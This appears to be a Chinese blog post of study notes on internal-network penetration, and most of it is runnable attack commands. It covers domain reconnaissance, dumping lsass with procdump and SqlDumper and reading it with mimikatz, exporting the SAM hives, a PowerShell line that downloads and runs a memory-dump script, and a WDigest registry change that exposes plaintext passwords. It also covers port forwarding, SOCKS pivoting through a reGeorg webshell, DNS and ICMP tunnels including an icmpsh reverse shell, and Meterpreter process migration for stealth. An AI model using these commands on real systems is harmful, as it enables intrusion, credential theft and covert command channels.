'内网渗透'

最近在学习内网渗透,整理一些关于内网渗透的文章

信息收集

内网渗透需要不断收集网络信息&系统信息&应用信息&硬件信息,在用系统自带的命令加参数列表构成多功能查询或者第三方应用软件多维度查询,得到想要的目标结果,上一个命令为下一个命令做铺垫,环环相扣,最终集合全部有效的结果集,在进行内网渗透下一阶段实行动作做准备。

通用信息

网络配置信息

查看接入的网段,网关,子网掩码

使用Kali下的nbtscan工具获取主机名

1
nbtscan -r 192.168.126.0/24

网络环境

网络拓扑
与外网的连通性
与内网其他网段的连通性
与外网之间是否有端口访问限制
与内网其他网段之间是否有端口访问限制

存活IP

对内网进行扫描需要做代理

F-NAScan

GitHub地址:https://github.com/ywolf/F-NAScan

netdiscover

Kali自带,扫描存活主机

nbtscan

1
nbtscan -r 1192.168.126.0/24

nmap

1
2
3
4
5
6
#nmap发现存活主机
nmap --script discovery 192.168.126.0
#nmap 同网段优先使用arp探测
nmap -R 192.168.126.0/24
#nmap 跨网段ICMP探测
nmap -sP 192.168.127.0/24

nmap-vulners

下载地址:https://github.com/vulnersCom/nmap-vulners

需要在Nmap目录下下载

1
2
#nmap vulner脚本扫描
nmap --script=nmap-vulners -sV 192.168.126.126

nmap-vulscan

利用本地的配置文件来检索CVE漏洞信息

下载地址:https://github.com/scipag/vulscan

需要在Nmap目录下下载

查看本地的配置文件

1
2
3
cd vulscan/utilities/updater
chmod +x updateFiles.sh
./updateFiles.sh

使用

1
2
3
4
5
6
7
#nmap vulscan 脚本
nmap --script vulnscan -sV 192.168.126.126
#一次只能查询一个数据库,可以使用vulscandb参数添加数据库
nmap --script vulscan --script-argsvulscandb=database_name -sV 192.168.126.126
nmap --script vulscan --script-argsvulscandb=exploitdb.csv -sV 192.168.126.126
nmap –script vulscan –script-argsvulscandb=scipvuldb.csv -sV 192.168.126.126
nmap –script vulscan –script-argsvulscandb=securitytracker.csv -sV 192.168.126.126

敏感信息

数据库密码

浏览器保存密码

浏览器历史记录

远程桌面历史记录

键盘记录

Windows

网络信息

1
2
3
4
5
6
7
8
9
10
11
ipconfig /all
arp -a
route print #打印路由表
net view
net session #查看远程连过来的session
dsquery | nltest #域内信息收集
nbtstat -A #查询内网存活主机
tracert ip #跟踪目标主机
nbtscan -r ip #查看内网主机(需要安装)
netsh firewall show config #查看防火墙默认配置策略
netsh advfirewall firewall show rule name=all #查看防火墙规则

域信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
dsquery server #查询域中所有服务器
dsquery computer #查看域中所有的机器
dsquery user #查看域中所有账户名
dsquery group #查看域中所有的组名
dsquery subnet #查看当前域所在的网段
dsquery site #查看域中网站
dsquery user domainroot -name admin* -limit 240 #查看240个以admin开头的用户名

net group "domain controller" /domain #获取域控主机名
ping hostname #获取主机名对应IP
net group /domain #查询域中的所有组名
net group "domain admins" /domain #查询域管理用户
net group "domain computers" /domain #查询域内所有主机名
net group "domain controllers" /domain #查看域控

net user domain-admin /domain #查看管理员登录时间,密码过期时间,是否有登录脚本,组分配等信息
net user /domain #查询域用户
net time /domain #查看域时间,以及与服务器的名字,一般都会把主域作为时间服务器
net localgroup administrators /domain #查询域管理员用户组
net localgroup administrators workgroup\username /add #域用户添加到域管理员用户组

net view /domain #查询域列表
net view /domain:domainname #查看域中计算机列表
net user uesername /domain #获取指定账户信息
net config workstation #查询当前登录域
net accounts /domain #获取域密码策略设置

nltest /dsgetdc:domainname #找域控
nltest /dclist:domainname #pdc是主域控
nltest /domain_trusts #列出域之间的信任关系

findstr /si password *.ini *.txt *.asp *.cgi
findstr /si password *.ini *.txt *.aspx
findstr /si password *.ini *.txt *.php
findstr /si password *.ini *.txt *.php *.xml

端口信息

1
2
netstat -ano #查看端口开启情况
netsh #端口转发

系统信息

1
2
3
4
5
6
7
8
systeminfo
hostname
set
net statistics workstation
net share
cmdkey /l #查看是否保存了登录凭证
net statistics server #查看登录时间
wmic os

安装信息

1
2
3
wmic qfe #查看补丁信息
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version" #查看安装软件
wmic product #查看安装软件

在Windows XP下,低权限用户不能使用WMIC命令

进程信息

1
tasklist /svc

用户信息

1
2
3
4
5
6
7
net user
net localgroup
query user
net config workstation #查看当前登录用户信息
whoami
whoami /all #查看是否过UAC
spn -l username #查看域内某个用户的SPN记录

敏感文件

1
dir /b/s config.* #查看所有config配置文件

密码Hash

Windows下使用mimikatz

从SAM中提取目标系统本地用户密码Hash

使用regsamsystemsecurity文件导出来,并拖回本地。

1
2
3
4
cd Desktop
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY sercrity.hiv

PS:本地复原机器与目标机器需一致。

通过dump lsass.exe进程数据离线免杀抓取明文

1.procdump.exe
1
2
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp //For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp //For 64 bits

本地还原

1
2
3
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
2.PowerShell
1
2
3
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump"
//或者本机执行
powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1'; Get-Process lsass | Out-Minidump}"
3.SqlDumper

如果目标系统上安装了Windows SQL ServerSqlDumper.exe默认存放在c:\Program Files\Microsoft SQL Server\number\Shared,其中number代表sql server的版本。

1
2
3
4
5
6
140 for SQL Server 2017
130 for SQL Server 2016
120 for SQL Server 2014
110 for SQL Server 2012
100 for SQL Server 2008
90 for SQL Server 2005

当然,如果没有安装有Windows SQL Server的话,可以自己上传一个SqlDumper.exe上去。

使用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
c:\Users\Public>tasklist /svc |findstr lsass.exe"
lsass.exe 512 SamSs

c:\Users\Public>SqlDumper-2016.exe 512 0 0x01100
Parsed parameters:
ProcessID = 512
ThreadId = 0
Flags = 0x120
MiniDumpFlags = 0x1966
SqlInfoPtr = 0x0000000000000000
DumpDir = <NULL>
ExceptionRecordPtr = 0x0000000000000000
ContextPtr = 0x0000000000000000
ExtraFile = <NULL>
PatternForExtraFiles = <NULL>
InstanceName = <NULL>
ServiceName = <NULL>
Remote process didn't specify a dump file name
Target suspended
Callback type 11 not used
Callback type 15 not used
Callback type 7 not used
MiniDump completed: SQLDmpr0001.mdmp
Total Buffer pool data pages filtered out: 0 KB
Total Hekaton data pages filtered out: 0 KB
Total Free memory (from non top level allocators) filtered out: 0 KB
Total top level free memory filtered out: 0 KB
Total Log pool memory filtered out: 0 KB
Location of module 'dbghelp.dll' : 'C:\Windows\system32\dbghelp.dll'
File version of module 'C:\Windows\system32\dbghelp.dll' : '6.1:7601.17514'
Product version of module 'C:\Windows\system32\dbghelp.dll' : '6.1:7601.17514'
GetModuleHandle () Failed 0x7e - The specified module could not be found.

Watson Invoke: No

windows 10 / 2012r2 以后系统的明文密码抓取方式

windows 10 / 2012之后的系统版本中,默认情况下是禁用了在内存缓存中存储系统用户明文密码。此时使用mimikatz去抓取密码,会显示null,通过修改注册表来获取明文密码。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential

改为1即可

通过PowerShell:

修改注册表键值为“1”:

1
PS C:\> New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

锁定目标PC:

1
2
3
4
5
6
7
8
9
PS C:\> Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

抓取目标系统解锁事件:

1
PS C:\> Register-wmievent -query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName = 'LogonUI.exe'" -Action $actionblock

以上的这些操作,我们只需通过 Invoke-MimikatzWDigestDowngrade.ps1 这个 powershell 脚本就能轻松实现。

Linux

系统信息

1
2
3
4
uname -a #查看内核版本
uname -r
cat /proc/version
getconf LONG_BIT #查看操作系统位数

网络信息

1
2
3
4
5
ifconfig
netstat -antlup
netdiscover -r ip
nmap
masscan ip -p -banners

敏感文件

1
2
3
4
5
6
7
/etc/passwd
/etc/shadow
/var/log/
history
.bash_history
.ssh
...

进程信息

1
2
3
4
top
ps aux
apt list
chkconfig --list

提权

打算写到另一篇文章里

端口转发

适用端口转发的网络环境有以下几种:

1.服务器处于内网,可以访问外部网络
2.服务器处于外网,可以访问外部网络,但是服务器安装了防火墙来拒绝敏感端口的连接
3.服务器处于内网,对外只开放了80端口,并且服务器不能访问外网网络

对于以上三种情况,lcx可以突破1和2二种,但是第3种就没有办法了,因为lcx在使用中需要访问外部网络

实验环境:

角色 系统 IP
攻击机 Kali 192.168.126.126
目标机1 Windows XP 192.168.126.26
192.168.26.26
目标机2 Windows XP 192.168.26.126

MSF端口转发

条件:
1.获取中间机的meterpreter会话
2.使用portfwd(MSF中的一个用于端口转发的模块)

1
portfwd add -L 192.168.126.126 -l 126 -p 3389 -r 192.168.110.26

连接监听端口时,必须和portfwd中写的IP一致

Socket端口转发

Htran

正向连接

目标机

1
2
htran -p -tran 监听端口 内网IP 端口
htran -p -tran 126 192.168.110.126 3389

攻击机

1
rdesktop 192.168.126.26:126

反向连接

攻击机

1
2
htran -p -listen 监听端口 转发端口
htran -p -listen 126 426

目标机

1
2
htran -p -slave 目标IP 转发端口 内网IP 端口
htran -p -slave 192.168.126.126 426 192.168.110.126 3389

攻击机连接监听端口

1
rdesktop 127.0.0.1:126

Fpipe

端口重定向

目标机

1
2
fpipe.exe -l 监听端口 -s 转发端口 端口 内网IP
fpipe.exe -l 126 -s 426 -r 3389 192.168.110.126

将发送到本机426端口的连接通过126端口被重定向到C主机的3389端口上,然后再连接B的126端口即可连接到C的3389上

攻击机

1
rdesktop 192.168.126.26:126

EarthWorm

正向连接

目标机

1
2
ew -s lcx_tran -l 监听端口 -f 内网IP -g 端口
ew -s lcx_tran -l 126 -f 192.168.110.26 -g 3389

攻击机

1
rdesktop 192.168.126.26:126

反向连接

攻击机

1
2
ew -s lcx_listen -l  监听端口 -e 转发端口
ew -s lcx_listen -l 126 -e 426

目标机

1
2
ew -s lcx_slave -d 公网IP -e 转发端口 -f 内网IP -g 端口
ew -s lcx_slave -d 192.168.126.126 -e 426 -f 192.168.110.126 -g 3389

lcx

lcx是一个基于Socket套接字实现的端口转发工具,它是从Linux下的Htran工具移植到Windows平台的
一条正常的Socket隧道必须具备两端,一端为Server,它会监听一个端口等待Client连接;另一端为Client,通过传入Server的IP和端口,才能主动连接到服务器

Server

这里的Server端,也是目标服务器

1
lcx -slave 126.126.126.126 12600 10.10.10.10 3389

将目标服务器3389端口所有的数据都转发到公网VPS的12600端口上

VPS

在VPS上执行

1
lcx -listen 12600 126

将VPS 12600端口所有的数据转发到本机的126端口上

Client

这里的Client,也是攻击机

在完成上述操作之后,可以在Client上用mstsc登录VPS的12600端口,或直接在VPS上用mstsc登录本机的126端口,即可访问Server(目标服务器)的3389端口

lcx工具实现的是一对一端口转发,如果想要对内网进行扫描,就需要将目标服务器的所有端口进行端口转发,整个过程非常耗费时间,而且都是重复操作

这种情况下,就需要Socks代理

SSH隧道

编辑/etc/ssh/sshd_config文件(服务器端)中:

1
2
3
4
5
GatewayPorts yes
PermitRootLogin yes
PermitTunnel yes #Tunnel启用
ClientAliveInterval 60 #指定了服务器端向客户端请求消息的时间间隔,
ClientAliveCountMax 3 #请求后客户端没有响应的次数达到3次, 就自动断开

接着重启ssh服务

参数详解:

1
2
3
4
5
6
7
8
9
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-N:Do not execute a remote command. 不执行远程命令,端口转发就用它了~
-C:该参数将使ssh压缩所有通过Secure Shell客户端发送的数据,包括输入、输出、错误消息及转发数据。它使用gzip算法,压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样,你可以利用配制文件针对每台主机配置这个参数。
-f:该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行),然后将连接送往后台。并推荐加上 -n 参数
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-R:远程转发
-L:本地转发
-D:...

端口转发

1
2
ssh -qTfnN -L hostport:host:port -l user remote_ip #正向隧道
ssh -qTfnN -R port:host:hostport -l user remote_ip #反向隧道

SSH端口转发-远程转发

SSH端口转发-远程转发

目标机

1
2
ssh -R 转发端口:内网IP:内网端口 -fN 攻击机IP
ssh -R 126:192.168.110.26:3389 -fN 192.168.126.126

添加-p port指定ssh端口

攻击机

1
rdesktop 127.0.0.1:126

这样转发出来的端口,只能攻击机连接,想让其他机器连接,可以将本机的126端口转发出来,这里使用EarthWorm示范

1
ew -s lcx_tran -l 1260 -f 127.0.0.1 -g 126

SSH端口转发-本地转发

攻击机

1
2
ssh -L 监听端口:内网IP:内网端口 -fN 中间机IP
ssh -L 126:192.168.110.126:3389 -fN 192.168.126.26

攻击机

1
rdesktop 127.0.0.1:126

举个例子

1
2
ssh -N -R 5555:192.168.2.100:5556 username@host  # 5555是本地端口,本地访问5555就是访问vps的5556
ssh -N -R 5555:192.168.2.100:5556 username@host # 5555是vps的端口,访问vps的5555就是访问本地的5556

代理

SSH代理

攻击机

1
ssh -D 127.0.0.1:1080 -p 22 user@IP

需要知道目标机的IP和root密码

1
2
vim /etc/proxychains.conf
socks4 127.0.0.1 1080

可以多层转发,重复上述操作,不过实际情况下,连接会很不流畅

Socks代理

Socks代理可以理解为一个增强版的lcx,它在Server监听一个服务端口,当有新的连接请求时会从Socks协议中解析出访问目标的URL的目标端口,再开始执行lcx的具体功能,默认端口1080

网络上Socks代理工具有很多,选用时尽可能使用无GUI界面的、尽可能不需要安装其他依赖软件的,能支持多平台操作系统的更佳

正向代理

攻击者主动通过代理来访问目标机器,目标机器可通过外网访问

反向代理

目标机器通过代理来访问攻击者

MSF代理

流程:
1.获取中间机的meterpreter会话
2.使用autoroute添加路由(在meterpreter中添加)
3.使用socks模块添加代理(在msfconsole中添加)

1
2
3
4
5
run autoroute -s subnet
background
use auxiliary/server/socks4a socks5
set lport
exploit
1
2
vim /etc/proxychains.conf
socks4 127.0.0.1 lport

Earthworm

下载地址:http://rootkiter.com/EarthWorm

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用

正向代理

适用于目标机器拥有一个外网IP

Server(目标机器)
1
ew -s ssocksd -l 12600

目标机器假设了一个端口为12600的Socks代理,使用SocksCap64添加代理就可以直接连接目标机器

Client(攻击者)

使用SocksCap64连接

反向代理

适用于目标机器没有公网IP,但可访问内网资源

VPS

将Earthworm上传到VPS上

1
ew -s rcsocks -l 1080 -e 126

在VPS上添加一个转接隧道,把1080端口收到的代理请求转交给126端口

目标机器

将Earthworm上传到目标机器上

1
ew -s rssocks -d 126.126.126.126 -e 126

在目标机器上启动Socks V5服务,并反弹到VPS的126端口上

VPS

查看VPS的CMD界面,若反弹成功,则可以通过访问VPS的1080端口使用假设在目标机器上的Socks5代理服务

二级级联

情况1

假设获得了Server A和Server B的控制权限,A主机配有2块网卡,一块连通外网,一块10.10.10.10只能连接内网Server B,无法访问内网其它资源。Server B可以访问内网资源,但无法访问外网

Server B
1
ew -s ssocksd -l 126

使用ssocksd方式启动126端口的Socks代理

Server A
1
ew -s lcx_tran -l 1080 -f 10.10.10.26 -g 126

将1080端口收到的代理请求转交给Server B的126端口

通过使用Server A的外网26.26.26.26:1080来使用在Server B架设的Socks5代理

数据流向:Socks5→1080→126→ssocksd

情况2

假设获得了Server A和Server B的控制权限,Server A没有公网IP,也无法访问内网资源。Server B可以访问内网资源,但无法访问外网

VPS
1
ew –s lcx_listen –l 1080 –e 12600

在VPS添加转接隧道,将1080端口收到的代理请求转交给12600端口

Server B
1
ew -s ssocksd -l 126

利用ssocksd方式启动126端口的socks代理

Server A
1
ew -s lcx_slave -d 126.126.126.126 -e 12600 -f 10.10.10.26 -g 126

在Server A上利用lcx_slave方式,将VPS的12600端口和Server B的126端口连接起来

VPS

查看VPS的CMD界面,若连接成功,则可通过访问VPS地址126.126.126.126:10800来使用在B主机架设的Socks5代理

数据流向:Socks5→1080→12600→Server A→126→ssocksd

三级级联

三级网络环境在实际渗透中用的比较少,也比较复杂,现在我们来一个个的讲解下三级级联的用法

假设渗透场景:Server A没有公网IP但可以访问外网,Server B不能访问外网但可以被Server A访问、Server C可被Server B访问而且能够访问核心区域

VPS
1
ew -s rcsocks -l 1080 -e 1260

将1080端口收到的代理请求转交给1260端口

Server A
1
ew -s lcx_slave -d 126.126.126.126 -e 1260 -f 10.10.2.26 -g 126

将VPS的1260端口和B主机的126端口连接起来

Server B
1
ew -s lcx_listen -l 126 -e 26

将126端口收到的代理请求转交给26端口

Server C
1
ew -s rssocks -d 10.10.2.26 -e 26

在C主机上启动SOCKS V5服务,并反弹到B主机的26端口上

Client

在Client上访问VPS126.126.126.126:1080来使用在Server C上架设的Socks5代理

整个数据流是:Socks5→1080→1260→126→26→rssocks

HTTP代理

reGeorg

如果目标服务器有Web服务,可以使用reGeorg + proxychains(Linux) + Proxifier(Windows)

下载地址:https://github.com/sensepost/reGeorg

Server

将reGeorg的tunnel文件上传到目标服务器的网站目录下,选择对应语言的脚本

访问页面,若显示Georg says, 'All seems fine'说明脚本正常运行

Client(Linux)

攻击机执行

1
python reGeorgSocksProxy.py -p port -u http://target.com/tunnel.php

修改proxychains.conf配置文件

1
2
3
4
//不存在可以直接创建
vim /etc/proxychains.conf
//端口和reGeorg设置端口相同
socks5 127.0.0.1 port

扫描时,在命令前加上proxychains4

1
proxychains4 nmap -sT -Pn 192.168.126.0/24

Client(Windows)

Proxifier

Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链

设置代理,ProfileProxy Serversadd输入IP和port选择Protocol

IP地址为目标服务器的IP地址,端口和reGeory设置端口相同,类型为Socks Version,代理规则为默认

右键扫描工具,选择Proxifier→Proxy SOCKS5 IP进行代理

成功代理,可以在reGeorg看到数据流向

PS

reGeorg存在2个问题,解决方案在:

在web容器层面发送一些跨域Cookie时,会出现多个Set-Cookie,这时,由于返回一个List,在后续拼接到headers的时候,会出现问题,导致客户端不能正常区分会话,造成交互失败

在某些环境下,需要登录后才可以访问。但由于reGeorg不支持在指定Session下运行,所以需要做出修改

2.User-Agent

由于reGeorg直接请求,没有带User-Agent头,所以网站返回500状态码。reGeorg需要200状态码才能正常工作,所以需要在reGeorg请求时加上请求头,在通讯包中也需要加上User-Agent

ABPTTS

TCP tunneling over HTTP for web application servers

py环境

1
2
3
4
//加密库
python -m pip install pycrypto
//httplib
python -m pip install httplib2

生成服务端,和reGeorg的tunnel文件相同

1
python abpttsfactory.py -o tunnel

将生成的tunnel文件上传到目标服务器上

Client

1
python abpttsclient.py -c tunnel/config.txt -u "http://www.target.com/abptts.php" -f 127.0.0.1:12600/126.126.126.126:3389

-f表示将目标服务器的3389端口转发到本机的12600端口
转发成功之后,使用Socks代理工具绑定本机的12600端口,即可访问目标服务器内网中的资源

DNS隧道

不论对出站流量采取多么严格的访问控制,你可能都要允许至少对一个服务器的 DNS 请求。对手就可以利用这个防火墙上的“大洞”来偷运数据,并且建立一个非常难以限制的隐蔽命令控制信道。

Iodine

它几乎是和hans icmp隧道工具一样的工作机制,它在它们之间创建一对tun适配器和隧道数据作为DNS查询。

介绍:https://code.kryo.se/iodine/
下载地址:https://github.com/yarrick/iodine
README:https://code.kryo.se/iodine/README.html
使用手册:https://code.kryo.se/iodine/iodine_manpage.html

VPS:

1
iodined -f -c -P password 10.0.0.1 tunneldomain.com

Client端:

1
iodine -f -r -P password <source-IP> tunneldomain.com

source-IP是VPS的公网IP

成功连接将直接在客户端生成地址10.0.0.2。请注意,这种隧道技术的速度相当慢。最好的办法是在生成的连接上使用ssh连接:

1
ssh <user>@10.0.0.2

需要重新开启一个终端

PS

在Windows环境下使用需要TAP adapter

在Linux环境下使用需要安装zlib1g-dev

1
apt install zlib1g-dev

Dnscat2

通过建立C&C通道递归DNS查询。此工具不需要root/administrator权限(在Windows和Linux上都可以使用)。它还支持端口转发。

下载地址:https://github.com/iagox86/dnscat2

需求环境

Server

安装Ruby、gem

1
2
3
4
apt install ruby
apt install ruby-dev //ubuntu
yum install ruby-devel //CentOS
apt install gem

修改gem源

1
2
3
gem sources --remove http://rubygems.org/
gem sources --add https://gems.ruby-china.com
gem sources --list

安装

Client

Client使用C编写,不需要安装环境

1
2
cd dnscat2/client
make
Server

Server的安装需要Ruby,gem,并且安装过程中需要root权限

1
2
3
cd dnscat2/server
gem install bundler
bundler install

可能需要安装下列package

1
gem install ecdsa,salsa20,sha3,trollop

使用

Server

使用时,需要有root权限

1
2
cd dnscat2/server
sudo ruby dnscat2.rb chessur.com

运行之后会自动生成命令,在Client端直接运行即可

Client
1
2
3
4
5
//secret可以不写
//具有权威dns服务器
./dnscat --secret=chessur test.com
//直接连接
./dnscat --dns server=x.x.x.x,port=53 --secret=chessur

连接之后,在Server执行命令

1
2
3
windows
session -i 1
listen 127.0.0.1:12600 192.168.126.126:126

将目标机12600端口转发到攻击机的126端口

PS

虽然运行不需要root/administrator权限,但在执行gem install bundler时,可能需要root权限。如果没有root权限,可以使用rvm安装。

ICMP隧道

ICMP隧道是通过将任意数据注入发送到远程计算机的回送数据包来工作的。要判断是否能使用ICMP隧道,只需要关注一件事情:可以ping一个外部服务器。如果能到达外部网络,那么很有可能可以建立一个icmp隧道。缺点是需要root/administrator权限

下载地址:https://github.com/inquisb/icmpsh

VPS

1
2
3
4
git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py <source-IP> <destination-IP>

source IP是内网可ping的IP地址,destination IP是目标服务器的IP

Server

1
2
3
4
5
6
7
icmpsh.exe -t 126.126.126.126 -d 500 -b 30 -s 128
-t hots 攻击者IP
-r 测试连接
-d milliseconds 双方请求延迟
-o milliseconds timeout
-b num 空连接数量
-s bytes 数据长度

PS

一旦执行反弹命令,360安全卫士和火绒都会将icmpsh.exe作为木马处理

ptunnel

目标机

1
ptunnel -x password

攻击机

1
ptunel -p proxy (指向中间机IP) -lp 126 (本机启用端口) -da destination(内网IP) -dp 22(内网端口) -x password(da目标地址 dp 内网端口 -x 密码)

攻击机

1
rdesktop 127.0.0.1:126

SSH隧道

正向代理

1
2
3
4
5
SSH -qTfnN -D port remotehost #直接进行socks代理
ssh -qTfnN -D 6080 user@theserver #在本地终端中运行
然后在浏览器或者软件中设置好代理参数
socks5: 127.0.0.1:6080 后便可以使用.
-q:静默运行

远程转发(反向)

1
2
3
4
5
6
7
8
9
10
第一步:
sudo python -m SimpleHTTPServer 80
在目标机子开启80端口服务
第二步:
ssh -p 22 -qngfNTR 6666:localhost:22 VPS-user@VPS
这样就把目标本地的22端口转发到了远程机器(VPS)的6666端口
第三步:
个人PC机器直接使用语句:
ssh -p 6666 -qngfNTD 6767 内网用户@VPS
这样就可以直接穿透网络,进入到内网,本地机器直接使用SOCKS5代理127.0.0.1:6767便能够直接访问到目标内网当中

工具

Metasploit

进程迁移

获得Meterpreter Shell之后,第一步要做的是进程迁移,因为当前进程可能随时被用户关闭,而断开连接。将Shell和目标机器的一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作,这会使得渗透过程更隐蔽。

1
2
3
4
5
6
7
8
#获得当前进程号
getpid
#查看当前系统运行进程
ps
#进程迁移,选择一个稳定的进程号
migrate PID
#Metasploit自动迁移进程
run post/windows/manage/migrate

Cobalt Strike

横向渗透

域渗透

后门

痕迹清理

参考

[] 【玩转Linux系统】Linux内网渗透

[] 内网渗透归纳(持续更新)

[] 【渗透技巧】内网渗透思路

[] 内网渗透–信息收集(一)

[] 内网渗透–信息收集(二)

[] 内网渗透–信息收集(三)

[] 内网渗透信息收集综合实操报告

[] 渗透基础——端口转发与代理

[] 渗透测试 之 代理篇

[] 【技术分享】内网漫游之SOCKS代理大结局

[] [思路/技术]内网穿透大杀器–EarthWorm

[] reGeorg+Proxifier使用

[] 通过ICMP协议反弹SHELL并执行命令

[] 利用icmp隧道 轻松穿透 tcp/udp四层 封锁

[] DNS Tunneling及相关实现

[] SSH端口转发详解及实例